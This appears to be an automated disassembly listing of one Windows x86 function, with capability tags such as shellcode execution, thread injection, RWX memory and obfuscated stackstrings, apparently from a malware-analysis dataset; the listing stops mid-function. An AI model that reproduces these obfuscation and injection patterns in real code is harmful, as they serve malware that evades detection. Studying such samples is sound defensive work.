Function at 0x454d83
Capabilities:
Allocate or change rwx memory
Check if file exists
Contain obfuscated stackstrings
Create thread
Delete file
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Move file
Read .ini file
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f41e7
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x34b8
call fcn.005c8080
mov eax, dword [0x678dc8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x2b2c], eax
call fcn.0044d900
lea eax, [ebp - 0x2b28]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
call fcn.0046d040
add esp, 0xc
push 0
push 0
push 0
call fcn.0046d040
add esp, 0xc
push 0
push 0
push 0x200002
call fcn.0046d040
add esp, 0xc
mov dword [ebp - 0x2bd0], 0x993f8a5a
lea eax, [ebp - 0x2bc0]
mov dword [ebp - 0x2bcc], 0xb36eaa00
lea ecx, [ebp - 0x2fb8]
mov dword [ebp - 0x2bc8], 0x5191349f
mov dword [ebp - 0x2bc4], 0x863b5edf
push eax
lea eax, [ebp - 0x2bd0]
push eax
call fcn.0045f450
lea eax, [ebp - 0x2bd0]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2be0]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x2fc0]
mov dword [ebp - 0x2be0], 0xad0fb86b
mov dword [ebp - 0x2bdc], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2bd8], 0x51a004c0
mov dword [ebp - 0x2bd4], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2be0]
mov dword [ebp - 0x9a0], 0x993f8a5a
push eax
lea eax, [ebp - 0x2bf0]
mov dword [ebp - 0x99c], 0xb36eaa00
push eax
lea ecx, [ebp - 0x2fc8]
mov dword [ebp - 0x2bf0], 0x993f8a5a
mov dword [ebp - 0x2bec], 0xb36eaa00
mov dword [ebp - 0x998], 0x5191349f
mov dword [ebp - 0x994], 0x863b5edf
mov dword [ebp - 0x2be8], 0x5191349f
mov dword [ebp - 0x2be4], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x9a0]
lea eax, [ebp - 0x9a0]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x1360]
push eax
movaps xmmword [ebp - 0x9a0], xmm1
call fcn.0045e6b0
push 0x66ed1f
lea ecx, [ebp - 0x988]
mov dword [ebp - 4], 0
call fcn.0045e6b0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x2bf0]
push eax
mov dword [ebp - 0x2c00], 0xdf6ace44
lea eax, [ebp - 0x2c00]
mov dword [ebp - 0x2bfc], 0xe933f341
mov dword [ebp - 0x2bf8], 0x51a004ef
mov dword [ebp - 0x2bf4], 0x863b5edf
push eax
lea ecx, [ebp - 0x2fd0]
call fcn.0045f450
lea eax, [ebp - 0x2bb0]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2bc0]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x2fd8]
mov dword [ebp - 0x2bc0], 0xad0fb86b
mov dword [ebp - 0x2bbc], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2bb8], 0x51a004c0
mov dword [ebp - 0x2bb4], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2c10]
mov dword [ebp - 0xaf0], 0xdf6ace44
push eax
lea eax, [ebp - 0x2c20]
mov dword [ebp - 0xaec], 0xe933f341
push eax
lea ecx, [ebp - 0x2fe0]
mov dword [ebp - 0x2c20], 0xdf6ace44
mov dword [ebp - 0x2c1c], 0xe933f341
mov dword [ebp - 0xae8], 0x51a004ef
mov dword [ebp - 0xae4], 0x863b5edf
mov dword [ebp - 0x2c18], 0x51a004ef
mov dword [ebp - 0x2c14], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xaf0]
lea eax, [ebp - 0xaf0]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x1348]
push eax
movaps xmmword [ebp - 0xaf0], xmm1
call fcn.0045e6b0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x17b8]
push eax
lea eax, [ebp - 0x17d8]
mov dword [ebp - 0x17d8], 0xc360fb44
push eax
lea ecx, [ebp - 0x34c8]
mov dword [ebp - 0x17d4], 0xf22eee41
mov dword [ebp - 0x17d0], 0x23cf70a3
mov dword [ebp - 0x17cc], 0xea573af1
mov dword [ebp - 0x17c8], 0x703f3575
mov dword [ebp - 0x17c4], 0x59cf328
mov dword [ebp - 0x17c0], 0x41b1e62
mov dword [ebp - 0x17bc], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1798]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x17b8]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x34c0]
mov dword [ebp - 0x17b8], 0xad0fb86b
mov dword [ebp - 0x17b4], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x17b0], 0x51a004c0
mov dword [ebp - 0x17ac], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x17a8], 0x703f3575
mov dword [ebp - 0x17a4], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x17a0], 0x41b1e62
mov dword [ebp - 0x179c], 0x60eff0d5
call fcn.0045f450
mov dword [ebp - 0xdc0], 0xc360fb44
mov dword [ebp - 0xdbc], 0xf22eee41
mov dword [ebp - 0x1798], 0xc360fb44
mov dword [ebp - 0x1794], 0xf22eee41
mov dword [ebp - 0xdb8], 0x23cf70a3
lea eax, [ebp - 0x1778]
mov dword [ebp - 0xdb4], 0xea573af1
push eax
lea eax, [ebp - 0x1798]
mov dword [ebp - 0x1790], 0x23cf70a3
push eax
lea ecx, [ebp - 0x34b8]
mov dword [ebp - 0x178c], 0xea573af1
mov dword [ebp - 0xdb0], 0x703f3575
mov dword [ebp - 0xdac], 0x59cf328
mov dword [ebp - 0x1788], 0x703f3575
mov dword [ebp - 0x1784], 0x59cf328
mov dword [ebp - 0xda8], 0x41b1e62
mov dword [ebp - 0xda4], 0x60eff0d5
mov dword [ebp - 0x1780], 0x41b1e62
mov dword [ebp - 0x177c], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xdc0]
lea eax, [ebp - 0xdc0]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x8e8]
movaps xmmword [ebp - 0xdc0], xmm1
movaps xmm1, xmmword [ebp - 0xdb0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xdb0], xmm1
call fcn.0045e6b0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x1fa8]
push eax
lea eax, [ebp - 0x1fd8]
mov dword [ebp - 0x1fd8], 0xad60b827
push eax
lea ecx, [ebp - 0x34b0]
mov dword [ebp - 0x1fd4], 0x87389a53
mov dword [ebp - 0x1fd0], 0x51d204a5
mov dword [ebp - 0x1fcc], 0x86545e9c
mov dword [ebp - 0x1fc8], 0x7059351b
mov dword [ebp - 0x1fc4], 0x5fbf341
mov dword [ebp - 0x1fc0], 0x4721e4c
mov dword [ebp - 0x1fbc], 0x6086f0bb
mov dword [ebp - 0x1fb8], 0x5e5878f
mov dword [ebp - 0x1fb4], 0xc870fe56
mov dword [ebp - 0x1fb0], 0x22b58714
mov dword [ebp - 0x1fac], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1bb8]
mov dword [ebp - 0x870], 0xad0fb86b
push eax
lea eax, [ebp - 0x1be8]
mov dword [ebp - 0x86c], 0x875c9a32
push eax
lea ecx, [ebp - 0x34a8]
mov dword [ebp - 0x1be8], 0xad0fb86b
mov dword [ebp - 0x1be4], 0x875c9a32
mov dword [ebp - 0x868], 0x51a004c0
mov dword [ebp - 0x864], 0x863b5edf
mov dword [ebp - 0x1be0], 0x51a004c0
mov dword [ebp - 0x1bdc], 0x863b5edf
mov dword [ebp - 0x860], 0x703f3575
mov dword [ebp - 0x85c], 0x59cf328
mov dword [ebp - 0x1bd8], 0x703f3575
mov dword [ebp - 0x1bd4], 0x59cf328
mov dword [ebp - 0x858], 0x41b1e62
mov dword [ebp - 0x854], 0x60eff0d5
mov dword [ebp - 0x1bd0], 0x41b1e62
mov dword [ebp - 0x1bcc], 0x60eff0d5
mov dword [ebp - 0x850], 0x5e5878f
mov dword [ebp - 0x84c], 0xc870fe56
mov dword [ebp - 0x1bc8], 0x5e5878f
mov dword [ebp - 0x1bc4], 0xc870fe56
mov dword [ebp - 0x848], 0x22b58714
mov dword [ebp - 0x844], 0x75f60763
mov dword [ebp - 0x1bc0], 0x22b58714
mov dword [ebp - 0x1bbc], 0x75f60763
call fcn.0045f450
mov dword [ebp - 0xff0], 0xad60b827
mov dword [ebp - 0xfec], 0x87389a53
mov dword [ebp - 0x1c18], 0xad60b827
mov dword [ebp - 0x1c14], 0x87389a53
lea eax, [ebp - 0x1be8]
mov dword [ebp - 0xfe8], 0x51d204a5
push eax
lea eax, [ebp - 0x1c18]
mov dword [ebp - 0xfe4], 0x86545e9c
push eax
lea ecx, [ebp - 0x34a0]
mov dword [ebp - 0x1c10], 0x51d204a5
mov dword [ebp - 0x1c0c], 0x86545e9c
mov dword [ebp - 0xfe0], 0x7059351b
mov dword [ebp - 0xfdc], 0x5fbf341
mov dword [ebp - 0x1c08], 0x7059351b
mov dword [ebp - 0x1c04], 0x5fbf341
mov dword [ebp - 0xfd8], 0x4721e4c
mov dword [ebp - 0xfd4], 0x6086f0bb
mov dword [ebp - 0x1c00], 0x4721e4c
mov dword [ebp - 0x1bfc], 0x6086f0bb
mov dword [ebp - 0xfd0], 0x5e5878f
mov dword [ebp - 0xfcc], 0xc870fe56
mov dword [ebp - 0x1bf8], 0x5e5878f
mov dword [ebp - 0x1bf4], 0xc870fe56
mov dword [ebp - 0xfc8], 0x22b58714
mov dword [ebp - 0xfc4], 0x75f60763
mov dword [ebp - 0x1bf0], 0x22b58714
mov dword [ebp - 0x1bec], 0x75f60763
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xff0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x870]
movaps xmmword [ebp - 0xff0], xmm1
movaps xmm1, xmmword [ebp - 0xfe0]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xfe0], xmm1
lea eax, [ebp - 0xff0]
movaps xmm1, xmmword [ebp - 0xfd0]
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xfd0], xmm1
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea eax, [ebp - 0x1758]
mov dword [ebp - 0x1778], 0xad6eb827
push eax
lea eax, [ebp - 0x1778]
mov dword [ebp - 0x1774], 0x873b9a5c
push eax
lea ecx, [ebp - 0x3498]
mov dword [ebp - 0x1770], 0x51c104b5
mov dword [ebp - 0x176c], 0x865e5eb8
mov dword [ebp - 0x1768], 0x703f3575
mov dword [ebp - 0x1764], 0x59cf328
mov dword [ebp - 0x1760], 0x41b1e62
mov dword [ebp - 0x175c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1738]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x1758]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3490]
mov dword [ebp - 0x1758], 0xad0fb86b
mov dword [ebp - 0x1754], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x1750], 0x51a004c0
mov dword [ebp - 0x174c], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x1748], 0x703f3575
mov dword [ebp - 0x1744], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x1740], 0x41b1e62
mov dword [ebp - 0x173c], 0x60eff0d5
call fcn.0045f450
mov dword [ebp - 0xde0], 0xad6eb827
mov dword [ebp - 0xddc], 0x873b9a5c
mov dword [ebp - 0x1738], 0xad6eb827
lea eax, [ebp - 0x1718]
mov dword [ebp - 0x1734], 0x873b9a5c
push eax
lea eax, [ebp - 0x1738]
mov dword [ebp - 0xdd8], 0x51c104b5
push eax
lea ecx, [ebp - 0x3488]
mov dword [ebp - 0xdd4], 0x865e5eb8
mov dword [ebp - 0x1730], 0x51c104b5
mov dword [ebp - 0x172c], 0x865e5eb8
mov dword [ebp - 0xdd0], 0x703f3575
mov dword [ebp - 0xdcc], 0x59cf328
mov dword [ebp - 0x1728], 0x703f3575
mov dword [ebp - 0x1724], 0x59cf328
mov dword [ebp - 0xdc8], 0x41b1e62
mov dword [ebp - 0xdc4], 0x60eff0d5
mov dword [ebp - 0x1720], 0x41b1e62
mov dword [ebp - 0x171c], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xde0]
lea eax, [ebp - 0x2c20]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3480]
movaps xmmword [ebp - 0xde0], xmm1
movaps xmm1, xmmword [ebp - 0xdd0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2c30]
movaps xmmword [ebp - 0xdd0], xmm1
push eax
mov dword [ebp - 0x2c30], 0xad60b828
mov dword [ebp - 0x2c2c], 0x873a9a5c
mov dword [ebp - 0x2c28], 0x51c704a9
mov dword [ebp - 0x2c24], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2c30]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2c40]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3478]
mov dword [ebp - 0x2c40], 0xad0fb86b
mov dword [ebp - 0x2c3c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2c38], 0x51a004c0
mov dword [ebp - 0x2c34], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2c40]
mov dword [ebp - 0xa40], 0xad60b828
push eax
lea eax, [ebp - 0x2c50]
mov dword [ebp - 0xa3c], 0x873a9a5c
push eax
lea ecx, [ebp - 0x3470]
mov dword [ebp - 0x2c50], 0xad60b828
mov dword [ebp - 0x2c4c], 0x873a9a5c
mov dword [ebp - 0xa38], 0x51c704a9
mov dword [ebp - 0xa34], 0x863b5edf
mov dword [ebp - 0x2c48], 0x51c704a9
mov dword [ebp - 0x2c44], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xa40]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push eax
push 0x3e7
lea eax, [ebp - 0xde0]
movaps xmmword [ebp - 0xa40], xmm1
push eax
lea eax, [ebp - 0xa40]
push eax
call esi
mov edi, eax
mov dword [ebp - 0x1718], 0xad7db83f
mov dword [ebp - 0x1714], 0x871f9a4b
mov dword [ebp - 0x1710], 0x51d504af
mov dword [ebp - 0x170c], 0x864f5eb1
mov dword [ebp - 0x1708], 0x703f3575
lea eax, [ebp - 0x16f8]
mov dword [ebp - 0x1704], 0x59cf328
push eax
lea eax, [ebp - 0x1718]
mov dword [ebp - 0x1700], 0x41b1e62
push eax
lea ecx, [ebp - 0x3468]
mov dword [ebp - 0x16fc], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x16d8]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x16f8]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3460]
mov dword [ebp - 0x16f8], 0xad0fb86b
mov dword [ebp - 0x16f4], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x16f0], 0x51a004c0
mov dword [ebp - 0x16ec], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x16e8], 0x703f3575
mov dword [ebp - 0x16e4], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x16e0], 0x41b1e62
mov dword [ebp - 0x16dc], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x16b8]
mov dword [ebp - 0xe00], 0xad7db83f
push eax
lea eax, [ebp - 0x16d8]
mov dword [ebp - 0xdfc], 0x871f9a4b
push eax
lea ecx, [ebp - 0x3458]
mov dword [ebp - 0x16d8], 0xad7db83f
mov dword [ebp - 0x16d4], 0x871f9a4b
mov dword [ebp - 0xdf8], 0x51d504af
mov dword [ebp - 0xdf4], 0x864f5eb1
mov dword [ebp - 0x16d0], 0x51d504af
mov dword [ebp - 0x16cc], 0x864f5eb1
mov dword [ebp - 0xdf0], 0x703f3575
mov dword [ebp - 0xdec], 0x59cf328
mov dword [ebp - 0x16c8], 0x703f3575
mov dword [ebp - 0x16c4], 0x59cf328
mov dword [ebp - 0xde8], 0x41b1e62
mov dword [ebp - 0xde4], 0x60eff0d5
mov dword [ebp - 0x16c0], 0x41b1e62
mov dword [ebp - 0x16bc], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xe00]
lea eax, [ebp - 0x2c50]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3450]
movaps xmmword [ebp - 0xe00], xmm1
movaps xmm1, xmmword [ebp - 0xdf0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2c60]
movaps xmmword [ebp - 0xdf0], xmm1
push eax
mov dword [ebp - 0x2c60], 0xad5bb839
mov dword [ebp - 0x2c5c], 0x875c9a32
mov dword [ebp - 0x2c58], 0x51a004c0
mov dword [ebp - 0x2c54], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2c60]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2c70]
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x2c70], 0xad0fb86b
mov dword [ebp - 0x2c6c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2c68], 0x51a004c0
mov dword [ebp - 0x2c64], 0x863b5edf
push eax
lea ecx, [ebp - 0x3448]
call fcn.0045f450
lea eax, [ebp - 0x2c70]
mov dword [ebp - 0xae0], 0xad5bb839
push eax
lea eax, [ebp - 0x2c80]
mov dword [ebp - 0xadc], 0x875c9a32
push eax
lea ecx, [ebp - 0x3440]
mov dword [ebp - 0x2c80], 0xad5bb839
mov dword [ebp - 0x2c7c], 0x875c9a32
mov dword [ebp - 0xad8], 0x51a004c0
mov dword [ebp - 0xad4], 0x863b5edf
mov dword [ebp - 0x2c78], 0x51a004c0
mov dword [ebp - 0x2c74], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xae0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0
lea eax, [ebp - 0xe00]
movaps xmmword [ebp - 0xae0], xmm1
push eax
lea eax, [ebp - 0xae0]
push eax
call esi
mov dword [ebp - 0x2b38], eax
cmp edi, 0x3e7
jne 0x456183
lea eax, [ebp - 0x1c18]
mov dword [ebp - 0x1c48], 0xcc6ad43b
push eax
lea eax, [ebp - 0x1c48]
mov dword [ebp - 0x1c44], 0xe47cff41
push eax
lea ecx, [ebp - 0x3438]
mov dword [ebp - 0x1c40], 0x22cf6ba8
mov dword [ebp - 0x1c3c], 0xe7577eba
mov dword [ebp - 0x1c38], 0x114a521b
mov dword [ebp - 0x1c34], 0x73bc964f
mov dword [ebp - 0x1c30], 0x6d686c07
mov dword [ebp - 0x1c2c], 0x40d59eba
mov dword [ebp - 0x1c28], 0x5e5878f
mov dword [ebp - 0x1c24], 0xc870fe56
mov dword [ebp - 0x1c20], 0x22b58714
mov dword [ebp - 0x1c1c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1c78]
mov dword [ebp - 0x870], 0xad0fb86b
push eax
lea eax, [ebp - 0x1ca8]
mov dword [ebp - 0x86c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3430]
mov dword [ebp - 0x1ca8], 0xad0fb86b
mov dword [ebp - 0x1ca4], 0x875c9a32
mov dword [ebp - 0x868], 0x51a004c0
mov dword [ebp - 0x864], 0x863b5edf
mov dword [ebp - 0x1ca0], 0x51a004c0
mov dword [ebp - 0x1c9c], 0x863b5edf
mov dword [ebp - 0x860], 0x703f3575
mov dword [ebp - 0x85c], 0x59cf328
mov dword [ebp - 0x1c98], 0x703f3575
mov dword [ebp - 0x1c94], 0x59cf328
mov dword [ebp - 0x858], 0x41b1e62
mov dword [ebp - 0x854], 0x60eff0d5
mov dword [ebp - 0x1c90], 0x41b1e62
mov dword [ebp - 0x1c8c], 0x60eff0d5
mov dword [ebp - 0x850], 0x5e5878f
mov dword [ebp - 0x84c], 0xc870fe56
mov dword [ebp - 0x1c88], 0x5e5878f
mov dword [ebp - 0x1c84], 0xc870fe56
mov dword [ebp - 0x848], 0x22b58714
mov dword [ebp - 0x844], 0x75f60763
mov dword [ebp - 0x1c80], 0x22b58714
mov dword [ebp - 0x1c7c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1d08]
mov dword [ebp - 0xfc0], 0xcc6ad43b
push eax
lea eax, [ebp - 0x1d38]
mov dword [ebp - 0xfbc], 0xe47cff41
push eax
lea ecx, [ebp - 0x3428]
mov dword [ebp - 0x1d38], 0xcc6ad43b
mov dword [ebp - 0x1d34], 0xe47cff41
mov dword [ebp - 0xfb8], 0x22cf6ba8
mov dword [ebp - 0xfb4], 0xe7577eba
mov dword [ebp - 0x1d30], 0x22cf6ba8
mov dword [ebp - 0x1d2c], 0xe7577eba
mov dword [ebp - 0xfb0], 0x114a521b
mov dword [ebp - 0xfac], 0x73bc964f
mov dword [ebp - 0x1d28], 0x114a521b
mov dword [ebp - 0x1d24], 0x73bc964f
mov dword [ebp - 0xfa8], 0x6d686c07
mov dword [ebp - 0xfa4], 0x40d59eba
mov dword [ebp - 0x1d20], 0x6d686c07
mov dword [ebp - 0x1d1c], 0x40d59eba
mov dword [ebp - 0xfa0], 0x5e5878f
mov dword [ebp - 0xf9c], 0xc870fe56
mov dword [ebp - 0x1d18], 0x5e5878f
mov dword [ebp - 0x1d14], 0xc870fe56
mov dword [ebp - 0xf98], 0x22b58714
mov dword [ebp - 0xf94], 0x75f60763
mov dword [ebp - 0x1d10], 0x22b58714
mov dword [ebp - 0x1d0c], 0x75f60763
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x870]
pxor xmm1, xmmword [ebp - 0xfc0]
movaps xmmword [ebp - 0xfc0], xmm1
movaps xmm1, xmmword [ebp - 0x860]
lea edx, [ebp - 0xfc0]
pxor xmm1, xmmword [ebp - 0xfb0]
mov ecx, 0x67ce28
movaps xmmword [ebp - 0xfb0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xfa0]
movaps xmmword [ebp - 0xfa0], xmm1
call fcn.00460730
push fcn.00460b00
mov ecx, eax
call fcn.0045df70
lea eax, [ebp - 0x2c80]
mov dword [ebp - 0x2c90], 0x8d35894b
push eax
lea eax, [ebp - 0x2c90]
mov dword [ebp - 0x2c8c], 0xe939f366
push eax
lea ecx, [ebp - 0x3420]
mov dword [ebp - 0x2c88], 0x38f624a7
mov dword [ebp - 0x2c84], 0x861b2aba
call fcn.0045f450
lea eax, [ebp - 0x2c90]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2ca0]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3418]
mov dword [ebp - 0x2ca0], 0xad0fb86b
mov dword [ebp - 0x2c9c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2c98], 0x51a004c0
mov dword [ebp - 0x2c94], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2ca0]
mov dword [ebp - 0xa80], 0x8d35894b
push eax
lea eax, [ebp - 0x2cb0]
mov dword [ebp - 0xa7c], 0xe939f366
push eax
lea ecx, [ebp - 0x3410]
mov dword [ebp - 0x2cb0], 0x8d35894b
mov dword [ebp - 0x2cac], 0xe939f366
mov dword [ebp - 0xa78], 0x38f624a7
mov dword [ebp - 0xa74], 0x861b2aba
mov dword [ebp - 0x2ca8], 0x38f624a7
mov dword [ebp - 0x2ca4], 0x861b2aba
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xa80]
lea edx, [ebp - 0xa80]
pxor xmm1, xmmword [ebp - 0x850]
mov ecx, 0x67ce28
movaps xmmword [ebp - 0xa80], xmm1
call fcn.00460730
push fcn.00460b00
mov ecx, eax
call fcn.0045df70
lea eax, [ebp - 0x2cb0]
mov dword [ebp - 0x2cc0], 0x8d358a4b
push eax
lea eax, [ebp - 0x2cc0]
mov dword [ebp - 0x2cbc], 0xeb3bf477
push eax
lea ecx, [ebp - 0x3408]
mov dword [ebp - 0x2cb8], 0x71c877a9
mov dword [ebp - 0x2cb4], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2cc0]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2cd0]
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x2cd0], 0xad0fb86b
mov dword [ebp - 0x2ccc], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2cc8], 0x51a004c0
mov dword [ebp - 0x2cc4], 0x863b5edf
push eax
lea ecx, [ebp - 0x3400]
call fcn.0045f450
lea eax, [ebp - 0x2cd0]
mov dword [ebp - 0xa70], 0x8d358a4b
push eax
lea eax, [ebp - 0x2ce0]
mov dword [ebp - 0xa6c], 0xeb3bf477
push eax
lea ecx, [ebp - 0x33f8]
mov dword [ebp - 0x2ce0], 0x8d358a4b
mov dword [ebp - 0x2cdc], 0xeb3bf477
mov dword [ebp - 0xa68], 0x71c877a9
mov dword [ebp - 0xa64], 0x863b5edf
mov dword [ebp - 0x2cd8], 0x71c877a9
mov dword [ebp - 0x2cd4], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea edx, [ebp - 0xa70]
pxor xmm1, xmmword [ebp - 0xa70]
mov ecx, 0x67ce28
movaps xmmword [ebp - 0xa70], xmm1
call fcn.00460730
push fcn.00460b00
mov ecx, eax
call fcn.0045df70
jmp 0x4562e0
cmp edi, 1
je 0x456378
cmp edi, 2
je 0x456378
mov dword [ebp - 0xf90], 0xcc79d622
lea edx, [ebp - 0xf90]
mov dword [ebp - 0xf8c], 0xa738f35e
mov ecx, 0x67ce28
mov dword [ebp - 0xf88], 0x36ce65ac
mov dword [ebp - 0xf84], 0xe35c3faa
mov dword [ebp - 0xf80], 0x1c4f1559
mov dword [ebp - 0xf7c], 0x60ef924d
mov dword [ebp - 0xf78], 0x687e6d42
mov dword [ebp - 0xf74], 0x409b93b0
mov dword [ebp - 0xf70], 0x6c84e0ee
mov dword [ebp - 0xf6c], 0xc870d038
mov dword [ebp - 0xf68], 0x22b58714
mov dword [ebp - 0xf64], 0x75f60763
mov dword [ebp - 0x8a0], 0xad0fb86b
mov dword [ebp - 0x89c], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0xf90]
movaps xmmword [ebp - 0xf90], xmm1
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0xf80]
movaps xmmword [ebp - 0xf80], xmm1
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0xf70]
movaps xmmword [ebp - 0xf70], xmm1
call fcn.00460730
push eax
call fcn.00460b00
add esp, 4
mov dword [ebp - 0xa60], 0xdf7ad732
lea edx, [ebp - 0xa60]
mov dword [ebp - 0xa5c], 0xe834f912
mov ecx, 0x67ce28
mov dword [ebp - 0xa58], 0x6bc567a9
mov dword [ebp - 0xa54], 0x863b5eff
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
